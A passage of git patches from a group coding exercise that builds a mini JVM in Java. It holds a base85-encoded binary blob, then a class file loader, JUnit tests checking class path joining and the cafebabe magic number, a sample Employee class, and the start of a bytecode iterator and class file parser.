ze#+8tx>5ox;-Z*hM~X%#FtYwWnjLn??*|5%H%fgopA9uW-Ew-p@Yr_!@$->=uikXS
z$%~_)_sLQ88v4;WUd`ixcfg6)bD=8`*1AdtgcG~f7u0o;BCTnRw#<m7D-AivNKxuk
z;ktTL)@QdiNW*?^quL@xyJuocP-l1C3S6al<|^6AZ>8>f>Wu?_3wYqN^WGQp`qN&Y
z0JF!O{q8Xk+pcdYm45?<`pF8>4+TRs){C7e`4YLSH-DG!FGCi}9V)J6=e{st#Y6<3
z%;>yqD$>2-QAJcrILh7sQC?w1_)s5K>CUT~fw%NtCyYB;GLtQx6JokGI<Cgo(06sS
zgMV=4YEou{WV<)BIhMp{Wt*qd=p8_6>FgS#IML@B#+~I5*bA)I*e2hc^?JS`&-sbz
z?l0%=AFz2Ree)f;{>Iw=h^@9_&lt0Ne{|~z<xfz~uXZ=;)M&-|#n~LoPY8nLEzhml
zafY~&mOTfzd8BxxPQj*BPL0=Hy!Hs!Q99X1^R6OT9JYd3ku?nY6>{=B;r7b@vftZS
z@EsKKMSlKB5A@|OIuc3^p$hJ=><qqrL|;l}{yWt!!b{Hl6q(d3p8Zu*dd&+$40evH
z$+0H7q6#HT4Y^)Way5yPtxE`0*9g;}g}vv~$LAOH>j-g$!1n~n{}RrHgY?W0qLz@v
z$xiMZsh>Q$9qH^Q*HOSK4nF)lM?yAUe&|EBcANxE`cB;n^-H}(e;d)guq|;}1=lu8
zMLfricdH9NDCV14z6wwwMxKd)gxC~L@e628n6Cz8Rn->z(joA20O=EJC-KU?XOHRb
zlR9J7wQE}j>YwOSFkv~^&P;qiLw)6=pPX|`skWfHial(ISXGbXNGpD48jL%cwTE57
z&}H=_X!=I28VYX8=xAdw&d1wb6m4F6_zs&RJVag1)~1HNcBda0b9Sj33D3n#g0lO<
z*0V2Aq2eVTvJhXzGW6v;s`ybDro=5%z~Mca7`D(4ulRx0Q<mIQd$jw;|DQ|&<YYu;
z8yo;Y8{z+!DPa76&mA>nW&Z2%I7S`XCwV#LH!ov+iaiM)0$30X2}ThqT@vD<QdY=9
z1c71S5CWt8fB|zrfC<@*45+F_?Oga`MGbv(NVT8|6SX?uR!CM`l)6dlx<jkeu4-k4
zPvcW#Q@8b*^|SXitBc&?;j_oP$9snNwQDw`jNju49N=UU1l<P6o?=A}QF4SE36&eU
z!D2Y&*_Dn1#FIN{6^vRdXg)QvdDAUaSTdly#V?1T*AAi4Mw|f;hIH_rDxk=1djpIv
zZK<|h#z4C#w{DW{PIXj$=40d-RtNVId$n>lv|}SQ1*nK?2`fS@k=2CHdq(UaZ8&p~
zP6kP4!YK+|?<gxh@DXI@VoGrI%G8;ygYYh6EI?UsQMQeyd@k5f@HERodrk%!54xjI
zq!x6V$xut7BEk`kWpv1c0~Gm!X#OrUw#9b;?f+@-yrY`hy1gAhkd7d|h2A?-lqS+a
zAoQ-%A@nA_2+{<kg9s9O?@a`xBfYmEARPqhy>r8Rzk7~)eBW{ZzF*c(GS=7`<CnSi
zUTco5%=yd&&DTtD*=Q1BAnOUBEa4s%3y73u>W3!CgvJQbptUU54d-NkNLi3%f+}&)
zR|acWP?JPT>J_Ype{(c^^`fV1OW{$Cofb+`q$3XDk`a+8f1f#Fd}w55j8;uhCVMx<
z*RDc*_v%pkw5=5C_ci?a;kDoa9wbPbmAt>rmd2YsdWM7rRXpVB>9%1r@hKTRXiQO0
zGkOKPr6Qhgei|WiF++XKEJb-%W4h8TNZEHd(0EV9*-EhpX{lTG3mbWakWg5DmvD58
zXQiP{sEvQV@hn{wDn#SK{Vge`cJrhc`Vu_EUp0W%gKl#K5qwp5C0_4WlDt;g)M*sJ
zw^f!l8h(v2iHa_Lr*$K!+6qM$6O`xBJN-5G;tkvSnnxKyKg+ukRotdoNsRBpyfM%!
z+89j6qF#*|yO)N!^9{r3Qo6})4oJmgX=4GX@5fnl`er$pZbE#<o_?<qJjknJ!VhBz
zh_=XJ($1o1LO;q~(eLnLm&g?%Rt8n{nwy7SVwD>#Fik~BGV5t0=dgsSCyPJ>yg4>a
zJtDhD+r<_hy%Hk*mOQ3M+eX{=e6OyhJ$KhqR~h%m>laYppvUg+5v_C9Mq;A9Acf60
zRizjVF~)8>7{~7SpAVrmMIac>0~E_PN4{cJ7ZA^Y7a@D}@!R!6{>7oV);xGR){WMS
ztSk-Hi0@y$5+XM5SzNFf2?#hXz;J!b-;%cV)C=naX2T1nvEhkf(x)R>)jG=qG_4QG
zjpjL8+E+ZM&v0!ySjH=Cm^FCjY!)eJSi2NAjkPxoC?h+G84fC?Cq8977g{L`EoH?a
z?ExGum<%-w5KkOMOZt<)k++f$^PeWMkjftCRahhaZpOk{%xw>(P|T=#!BZ8mAE;{_
zYOlfr%~;$+AlQ_VxpUz+V0`x?V9XL#83|{&P^u*lQMrtrIsIjs56-87X4<}a@z)9S
zR6SUSCdcuFlPG#Zt>Bxi(49pUqay3Md$70y@EZ<F%DxCf+?3CYMQ+m?eF_21GGalg
zfe01$6vFJTwr9s#p>&VNwulNRE$^Ghp&n}sA?d#}7#)nRxJu8%GsB;avRBa|u+C)2
zC@>GlX?qsa7Pbc{P723LB~bSo8zPD6>)$wv356_)xw-1GQBIJ2o@(~pU);cDpcp;V
z=y_6_M|n^%zsM#dstVD3c@-Zzxo6c=!P*d6r@UVJgrZy4s)I$^o{J<*Yh@AZav*SS
zge$YWK-3@?y-RmI&(39`30hI{E}fqeXZv8j$nm?*Wp_Jdj|e=6H$h+p<4qXddfSEd
zv(lQFy?qVmeUlW%2~e&ht)wFGwtx)ZR8U;DP#GqM*5BNCvb?x9nnz-g0L@wtH9Nb?
zSQS#I&}2jJVMnwkwRXJIGY&)`OSUlwaj_=@s}T#BchsXR6#5l(tfj`Pi>$E9-?}k1
z&}5vKwhW~d%5ul@Kp*zjEvRJzsUf77hhP&;SF<CNiJ3mI*@Q!qOT#m)Yvsq3XG+VH
zX#ErxKLS27mu3;g0$bFv62WfogUrFTkJ}U;2url_k#daKR|kdhHK?}{forwf=t)b4
zb~o=g455h4`JiLPsj7?RWRMe$xE_=N#xcX=Q#SeU)uAX1%RhY#K}3e|Q28Lo#rl!^
za`vE1Jvz#9X|F=%N^I|Wi;4ZCEH3I%u&2PWp^q9T;lxzpsb^UpLm;8AI8Fhf&_0Ds
z=<~tOmfUxPre5-=eG6*+<_Hi{Q3b?r*&=zfajlzvuAh+mQQbHz)4CCMSTOeQ>{E!;
zdX4%d<Kt5*xgvX%tqKlKSI_VrVuF-$iWk(Y5=8Za6&#Q`WRP4*&zf+x_I+93mtpBa
zkwoQ2^&{?-Pg3U{8Ca~ht6_be_Oxu525+|5rhb!z6`bmef4#Zfl$64+R?nXG0dWb*
z&ERsDZfAkU;b4bC(57mN(Scylpm>X_!64~c=Ub+cd3?oGj6X;CkG2U0yE3Bm&dqV=
zz9Z#aEM=ORd_)r~H6V>5ENW#z>pfPVTuMoYzvmOZjvPG7nL^AJKtNFMCeF%f*GAV)
zOtDq#$HFF=5;PZ~Y;Q;ZsH#UQfr=#lKrR#ClycM!ILX3#gg!4D8$a6tHImKB5AzSS
z&yNtO@C;YyS@USMl^&<ecUIlDV#R{&aiP~a5H*#QGWW5Hy+%Z4X+HF{+iX!x-t4SB
z_=L~F+&ArrI)1g*@bPdy?8Ce4?vL7QwuR1T`c-oxTu9%h2~IgTYCjg<y*YnpTpmCd
zJT}F<d-_>sET^uimTdb9Th6fIoMj`(sfqT(POZ?D|JA#%pUU*Q_Z1ZgtGVmRwDgSP
zKD-(%HHgk&^^(Tf&Lv~}Vj5S9(Ls1lJZ##dHn(WS^kK10p(&s4QAx)#LGJvPIvI{$
z3T5YF4|)EBbNi^!qb>Q|k>**u5H;<YP#3~@tDyqkIuhOhI)gWJt`Ed=2eb2)GqgxT
z!qwK7z?0LtjcV((B=mzomXrkg`QE*U?1g65E<nphyQ!+KM5nqr@<>*vWo?yw?5~lg
zci0C|!Dq}@5)ieAEVS}0S2n%W>&8ClaZY&3&N(=RWWLZqv<6{X>eY3TPU=3;n&<AA
zB_T3>@^zU-A9br)`;Ic2PX9d0+Djo@^T*%1=Py|fj;t`j()e|tpnC0v?JqO~MH;n4
z)q?E>4(~qQxU8PwYKGZyrPn1rJ>eaSbj)+RCor#9i-xm6NWSLm<4+D;?Ur#{6q0>K
zDZ}Y{VUIW0mU$|g+RS_zvICiyyChX!P)s4j@u7>|GfsMIo^@}qhfSE#)J>dlUP>n%
z(ye-_&tY0<5TUh<jtx|FQ><Ck8u6dZj&PE^>q9%~q*P1L6g$0l_Y;w?k^YU2QrS49
zUC$BSH=c2?MmV6U_uw?R;kD~Bk(<`H){A|C;|<s7n(~L!!ZbCOi&X?+y_y_BHqo^<
z)r;lD3HsA0+%|?Jc46|V#RmH>-4^DFCc0`6VBxXMcT3^S9>jD=Svb^UR>;|=YE<*U
zMcknaabusYyvVDDE_Dfwk(ps3cg9KOBLSgFWx2j3s;wUWP0*T7u#SHgIq#@*>~x?A
z2f2F3-K>XQ!N`3{IVaK?s1_#gD<a(c`0?oj@<Nw{E#(D6+M}G@v$NfKMEgZ~@k@7l
zLA$$BI#E|NEA_#1!k4@1kyZ&=Iu)H}_9aX7MD~}COLKdzd0(7__6oiwninV-0FNJ(
z-!y3t9_tdmfC`s~#{V$?z}4HpS&8~G`-Yf!vwU<6pALaId^Gg1%OojmT_1_ZPL`J$
z_#IMN1sQJ#rDb-28J1r70%NO}JyY&8F*Ek7#0)IGB^6EaK|ktUYU{k8Ps)=j=-z$c
zA-wQfG$zuCMoM+z>pK$ljjLSyGBxZwN=pqD4PZXyIOH)el?1I!(aXrC7p89u%t|%t
zR8?1;yb~?IgkOuWmUD0`Yj}92^1eXO@GEgz@}ksOn_(8r9<d?F5py=md;-~$jCcYm
zc0LtsZ1@B%bCPG_Xb46bJotX${kE0zGFmI8-IrD6csiSFPB6uXFR+mZVty~Wbr`ev
z?J!$18-D_bE`L)?8BHV&c=n<F`BBh`?;#K7ht@l)rzuruAURcL{pEu^|2__3?>ojj
z(+SpXN-XtP217?J%r@(N1`_NBIbQ^t2wn1h<GibQb~HV@c<oVwPOk9DU*W2L2A6}r
zKUkWyBPkf^N8(jCeovS2C^q>+XxcbLHBXBytd7gzq$E)e7xejj%g5`i>`Kl^OHqFh
z^homViL7uG$)d@mUy+GfQRf}YcDkt$%L+6pM|$}cmbl(=?XHb0?oTMabRmzXf{yT>
zWWIKYx0VUpY*x}d%93>W+-_f4wdA+?#RjjFBIYqs;gyQdNzb#CXtG_kGyG>U%9Xq`
zT}rzo*O(2V<JV@IXICj3VyqlzDNo}Dd)3eUQ#e0%k)LI-#gJudHqs^b+BgP!>AYWN
z#fuR-Q}Zg^j8*z1zP-Bcx$HNi&}V2=_bE1p))691b<!*0b<(5a9<&>_pVrX#L10Dj
zq7yCoIi*>tV9Dsd<x@?xL^*{gF>M~r&&_H)zUD_Wd$6waZ!n+pz0|_$=AOW^+A-7Z
zp+|{5rQfWedf2*Qy%nz@Ia9>)u*#Uk(*g;j`HAj<OSkEn&|?m;sK74zdv;mM`BEaQ
z(xe#;JBQJUhlF%?M&@RvN*woMc|3{v)^wt_g$E74crvY6Lsn1iY7dutORs%)g9^R`
zc2T??nkVaea9^XO@;)ZvAx1DL1jGEUMHb`>FS8>3K!0adwoZ;%_-MU$wAF>Z*=Fsh
zDZbRCGc+zgxk{V*;MoFS+b37nT@;^7q0_Z3eEkvJOq+zr+?MBzLY{+M+~EZ8Yf)3F
zlZQSh8|+_(TqDpfscZL~{&z-}fPrl0BWwU*lk`9BKmYJcHEjR+TiS~iEbWEhT8Sr8
zC^if&Q=AInt`rqDHK8R~E`*MH-#&(GSqk(jxx0TksJoBLDOkov13zEGnw7oADBhyD
zTz>i<U)rgyl^)RG%2><SxmZ&RSW+@E{=Ayy(bd3bfmlYHSeMn*`oV`6UY<L4J5JkV
z5Rn@^zwy&*B6ma#n$Q-Owx^~e8c6Gs4PZ~FJdtvl$REs{`iL00Saz0HHV$8qg*|2-
z^aZHnkq#YOYLJYEXat6zQhs)gP1v@Zh~Yz&x1lp@$EsAK@|Dub^(*8aF7#BPvR_Bm
zJX`1_Cm>3X@*H~<X28my=yFcQr4>j<iA<!H&j0Q(ojB2hTbYV$6rbRr-0xr``6D|1
zG?THeu<kgtG`lJ!KNq}gM$aN&9&!*vqBj4YAeN!#81p-BrCCmvb&hO{X?s5XeM>ZO
z=$qb^)spk#VjJ`X^kpf<hh<MY93Mt~EH@A*fp9A{s7eLWW2-d0`EhK9H_@!YB5KZz
z?pjrYfj^?<p<q@fqg-tz!u=sA7!Q|yB0n4RY#TL<QE%8RC)}+nr)V_NOI=~IBwe&}
zP8K8XHHR!hkaAY`HOc!sUJh4&Q?==hpP$Xg5SUgf?g>zYe3u)QZ6AH6&kA~kk>se>
zke1;-TK&M}{QNKu_+yw!h1CZyO|HWQDtn3ds-r*}IT@K_BSgk1wCWpK)r;=@$wJh0
zoir+ME?e;3_pl5T_j(Wh$)_i+`1X8w;)QRDQDb9tdGb3w*FO<N@NU)M>S26UugVO-
zF!B%vAM1exdS7u6Ob_?JLbcSk`?_o!M=Ow5t1|K}aiTw}T3+6@02-*f8k1BeV5m=H
z9bt_^7BQ%Bg4)+~kMz|;n;gQawq?ifDlY;#aRrjvMv=Y`O+_NKH$Z9a_t-)+jqW)h
zjLW(nk>#W+fpHB;N3?4sJVf)2IPuXvYKwuECJpn_Qlkh3P)2sAJyTGLP}(9@qvW=%
zm!gt4bLz%-^2Vdnitui&J1l11Q#W|Y2r~tX{Gm-lvcb-=$5lD}#42rZ#vco7k%HH0
zd2!`8C)FZ!zj7B3htV#%SiN~hJ5iX6KO+?*K(_wCv}J{_H$Ymr%NqTwi=&Nw63{h6
z_j-ob0Z5Q{DdwPeZnfO=q2h(NM2CO_5RG7bea!SmLT=!>rI$j-M+g1pdgU<F!-+<c
zMwb!s?L&&tz4}qE)sdAa!~`i+w5BUV(8K)kHu1%dZf5nej^&S-9+kFWbjp<{>)k%=
z-LEOL*et**I@mz9JtQ6MS)26p8bwu}qD8bqNB+Q-AF(W{6&t1!-o4Vyr_pbKdaSJ!
ziZ*N|v?k7XlOUuI7T?PqS@t3VrT4;#ln+9Z{3fDg+nw1<7Inf^OfPEQGL&HVzoWwX
z_CsB&(1XP-^$o+*A>(r@_q2Ir2HK8p;`=!QwGA&n`6qVeqZA7elPGh@k+Ty|qO6P2
zf9{mE9Uoam2A^Y-O!A+NN)f$7Lo{T*Cj>>&Hp27vwv@xeO+5M{D`j%LHv5>NsfEo-
z!9*4J>X8IG1|#|n%O|V^F5rQ?);t1dr2aAfwda%t(;T)=X7j4kt}79<d75ZMh6+A1
zVrH!gCPux9?;ex?(iN+;!-|`42UAbyMSNyn%+;uRLT4db*}G}L3aC6r#tk_k15eA4
z0IU+Ic;{s`pW2fpmDT3_OvxVM71qJ|gZp)t35OUD7D%mTg*^%BC$)D)PH84ogCAoZ
ztr=37ax{+X=-$ZF8hE`-X*=KMwXmSxz^bNaoae-`CT&YdWL5YwG@|h^$R_ohOE!+#
zTp=5Ug!!<d#MGQdLfuQDtB))Svzkq|Oc!rb$^%$!Nz)g-FiajAB4QnGq4bI0U)>K+
zR#qc2<}GO_L~KgEp*AzAG?n~>)x&LsZN42OJ)||FC=xP+8OZCIuI39gzZ0F9-L<kp
ze*RJ<N-F(`WmBss^E<@wTCDb&^cl+ZW+j)BiCET=Ew`$wy3ifYHo?W(oTQl8UB{}Z
z%KHQl>@k@K^!Q(Aym36Yydk#TCJicW-A~GP6ui(JK*M5M+_9CGUs|mvzM_<;K^+P|
zdyp9iNUV5V+DbVP$qjaRqC7P8*}@pnI@s_bqlLuFlqKohrIhSA*~DcX4zwZQ8n@Qz
zK$`;5DLSI<z`{E3ESiz%g{^#_g9QD4os_vlFWM;~fdTjHR`f=S7-=l?n})nRGt^YW
zK2EV<p?aj}A_1ktM6Qtw&$@}$69_9(_ioO0Vd(A;5MgalIcOl;H`0MWcpFE!8OV{O
z6g?es{u1R9o2}iD&G<t}Gp<<&tc;=vU9XCD+vfzLjiNX{Ct-oTv=!vQ)XL9X!Nw!J
zXZjyUdi=dg8p-F{B&uo$2igum-znDf5Lb-#_wyTU4n$Av8Of@#`spIvBJiXiyX8i$
zGGlanwibo@+E^<<QJ@^=3gzsssT$TI*45TR&}D4z1dV2;8mp<rl~*!Z3iNk%bfJxd
z$AZ&1Q%VtWMagkRV$r+`^1&6r@Wn$}>?x#})?67j=h@h@KniQayL!+T!k52vP0?lh
z+omp@s5hx2#6Ny=h#?b^^vB@_MDiR^(q;o0;~`WLkanMx)_&nC+YU?3sa%qIb9;fv
zv<rKblO;B#c`2}4DC@J;O)a@4fuspLG@@tkWC05l%7ExKx@Kz4ecsI}G*BzLJ!SoC
z#<_E$L0!-(cU-ITy#&+6&AzVHqp5MwjG%%E<O6+0z}pj^e?1N@qxr~pEZ?3SC)`bq
z-DAN?sYDXivp3K0S`rU3ir1<?R9A{i-L%_s6iM;+^m18|WUn}zXR8kXI;c4h9b1Cp
zyI9LV;-{xb&UmXR*O`-NtTtB83?8SuaF6xUy^wtm{m>kScWM99?k$H*(bctVU4z2l
z^($xh$XA#5`7Q(Fcf41-=iI!ng;*!<)*|1S7@QJWwFVa<0HaxeOM;??9KLU4c1b81
z#g)pTVvPH8?|ql}7S^yHci6R)H_&pl?nqI8BXH_Kao}!Zl$WezBAAv0Ifo&JsalyJ
z;|r`Zjjw<<xNNGJUGT>TULBykRea>3d4O&<+_yTFyBnSK1H&8PL}nkfuOu3{>g`XN
zxS0MeajysSI3AQ~0^Pd=5B6|3=x(teH_ksRT-K`edj=*lrBpo2C1mO-k)jAT$bf2W
zdedF_l;?ik(lu9PU3=%*-(xgM{7eXq-glOZ5co38NPw}G6Zm<2d#1-#9_Tmi0xkgK
zXn0DN%P6@$5%nk(X`2dmGMo;UavldShZS1>AoUp>PtzVVO4knV$iNmar|e~_m)Gyy
z*^S5}oID_7dd;3eLOtxSSq>ZQyXPU(Wy!`!MnYm5b<y}j(YW>Ypv^D+892d`aS-OK
zS{Y(NhWABWM>@gnd-}s-Zy~yg$zUI?YfQ0R1tOjwTNw~)rFx=y2O2vpjv#l&XXb;7
z>)e<AA~*&<_)R8*z40=;tU+4kh@SZ1gz_VI(|oyJvez%x6y2+L*RqUa)RRn07<=zH
zwX1#)L6UN(JfRbLvK&;=(9%EFmf9e@ys&liuT<{cp^42PbO2xx@8_?ycfI^YU{RF6
z8V0QQ($vw(($1E{+0B`EjJIrYMgFOr$}alxi4z-(e9;(d_enP!$MBGPmm+(2momb?
z)NLPVPQnNV04?kZQb0h&2jBxxVFwLNzrq)Bn+$dyRt6b%_73dz=cXv7F3v8eB+aQP
zt|TWdrKZlID1F`YtIBQ7WNE1La3U%I@C6qDxDEXL-3(#f-zq3eNdCVt(9gEqst{~%
zWG$co0RFHvlv|trZlY-aRI#(OvNZkgc+&4eV@$0lld!_R<*+E#?LOe|W&w*?{cg^`
zgq~VDIsaKKih;Dm4jBMAgV}I<mHuww`2P@-RaXc78=2<<A=$7@eQVe?ruth0)_Vfm
z$NXl~t;{c5m7hmA54%(`$pnU3uuL5}ZUBJt7d1YLf2iG-EEackG<5&7WnF|??S2RV
zKt0SlnqRc&dH<*-<z{SZ?|eH8jjauxoPM_L_BKBGskHX5xAEw~ANBqxEcm<7&o!Fq
zele`@$sdLOQJ4F7#h+oGUnfSP<bP27^EiK|X?_(O1OHL%XBy~t%YKGAsDBx2n$>?0
z`=6w%-{pSJ=A!yV&erCSa{qR=-QLlkBfh_mw88z4YOs7TTh9O8I{zzg?Drx3yv_gB
zr>wsE$A|tETK-+-XV3bp>1I)XQu(*n;no@d>_~5&@!#!X@-MC#q<{?bV*mgi>=1?d
zjzrko004ZQ|9K(7*ZJ-2_&>hR;fxlX(SkEta7GKxXu%mRIHLt;wBU>uoY8_aT5v`S
z&S=3IEjXhEXSCpq7M#(7Gg@#)3(jc487(-Y1!uJ2j24{Hf-_ohMhnhp!5J+$qXlQQ
z;EWcW(SkEta7GKxXu%mRIHLt;wBU>uoYA_)wBU>uoY8_aT5v`S&S*KhIB|lV>})x2
zc`rDl1-K=b;EWak@b4L||Bu+Kzo6IKSrG+iF#&KE^RItq`<)s5KgVMJZ`b*M0ZM@@
AyZ`_I

literal 0
HcmV?d00001

diff --git a/group03/345943980/mini-jvm-0330/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group03/345943980/mini-jvm-0330/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..17abd10b7e
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,68 @@
+package com.coderising.jvm.loader;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+		className = className.replace(".", File.separator) + ".class";
+		for (String path : clzPaths) {
+			String clzFileName = path + File.separator + className;
+			byte[] codes = this.loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+		return null;
+	}
+
+	private byte[] loadClassFile(String clzFileName){
+		try {
+			return IOUtils.toByteArray(new FileInputStream(clzFileName));
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+		return null;
+	}
+	
+	public void addClassPath(String path) {
+		clzPaths.add(path);
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(clzPaths, ";");
+	}
+
+	public String getClassPath_V1() {
+		StringBuffer sb = new StringBuffer();
+		/*
+		 * for (int i = 0; i < clzPaths.size(); i++)
+		 { 
+		 	if (i == clzPaths.size() - 1) { 
+		 	sb.append(clzPaths.get(i));
+		  	break; 
+		 }
+		 sb.append(clzPaths.get(i));
+	     sb.append(";");
+		 * 
+		 * }
+		 */
+		for (int i = 0; i < clzPaths.size(); i++) {
+			sb.append(clzPaths.get(i));
+			if (i < clzPaths.size() - 1) {
+				sb.append(";");
+			}
+		}
+		return sb.toString();
+	}
+
+}
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..3f7c043ec5
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,81 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+public class ClassFileloaderTest {
+
+	
+	static String path1 = "E:\\github\\coding2017\\group03\\345943980\\mini-jvm-0330\\target\\test-classes";
+	static String path2 = "D:\\wordtest";
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+	private String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+
+}
diff --git a/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/EmployeeV1.java b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..d36b122f60
--- /dev/null
+++ b/group03/345943980/mini-jvm-0330/src/test/java/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+
+	private String name;
+	private int age;
+
+	public EmployeeV1(String name, int age) {
+		this.name = name;
+		this.age = age;
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setAge(int age) {
+		this.age = age;
+	}
+
+	public void sayHello() {
+		System.out.println("Hello , this is class Employee ");
+	}
+
+	public static void main(String[] args) {
+		EmployeeV1 p = new EmployeeV1("Andy", 29);
+		p.sayHello();
+
+	}
+}
\ No newline at end of file

From e60727b090afd8ac0e24d8a269982bf499e33a29 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Sun, 9 Apr 2017 01:47:22 +0800
Subject: [PATCH 053/262] ClassFileParser

---
 .../jvm/loader/ByteCodeIterator.java          |  45 ++++++
 .../jvm/loader/ClassFileParser.java           | 137 ++++++++++++++++++
 2 files changed, 182 insertions(+)
 create mode 100644 group04/1299310140/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group04/1299310140/src/com/coderising/jvm/loader/ClassFileParser.java

diff --git a/group04/1299310140/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/1299310140/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..9cbc4c3fb4
--- /dev/null
+++ b/group04/1299310140/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+	
+	private byte[] codes;
+	private int pos;
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+	
+	public byte[] getBytes(int length){
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + length);
+		pos += length;
+		return data;
+	}
+	
+	public int nextU1ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++]});
+	}
+	
+	public int nextU2ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+	}
+	
+	public int nextU4ToInt(){
+		return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	
+	public String nextU1ToString(){
+		return Util.byteToHexString(new byte[]{codes[pos++]});
+	}
+	
+	public String nextU2ToString(){
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++]});
+	}
+	
+	public String nextU4ToString(){
+		return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+	}
+	
+}
diff --git a/group04/1299310140/src/com/coderising/jvm/loader/ClassFileParser.java b/group04/1299310140/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..bb3535dcf6
--- /dev/null
+++ b/group04/1299310140/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,137 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		
+		ClassFile classFile = new ClassFile();
+		
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		
+		String magicNumber = iter.nextU4ToString();
+		System.out.println("magicNumber:"+magicNumber);
+		
+		int minorVersion = iter.nextU2ToInt();
+		int majorVersion = iter.nextU2ToInt();
+		classFile.setMinorVersion(minorVersion);
+		classFile.setMajorVersion(majorVersion);
+		
+		ConstantPool constantPool = this.parseConstantPool(iter);
+		classFile.setConstPool(constantPool);
+		
+		AccessFlag accessFlag = this.parseAccessFlag(iter);
+		classFile.setAccessFlag(accessFlag);
+		
+		ClassIndex classIndex = this.parseClassIndex(iter);
+		classFile.setClassIndex(classIndex);
+		
+		return classFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter){
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter){
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(thisClassIndex);
+		classIndex.setSuperClassIndex(superClassIndex);
+		
+		return classIndex;
+	}
+
+    private ConstantPool parseConstantPool(ByteCodeIterator iter){
+    	
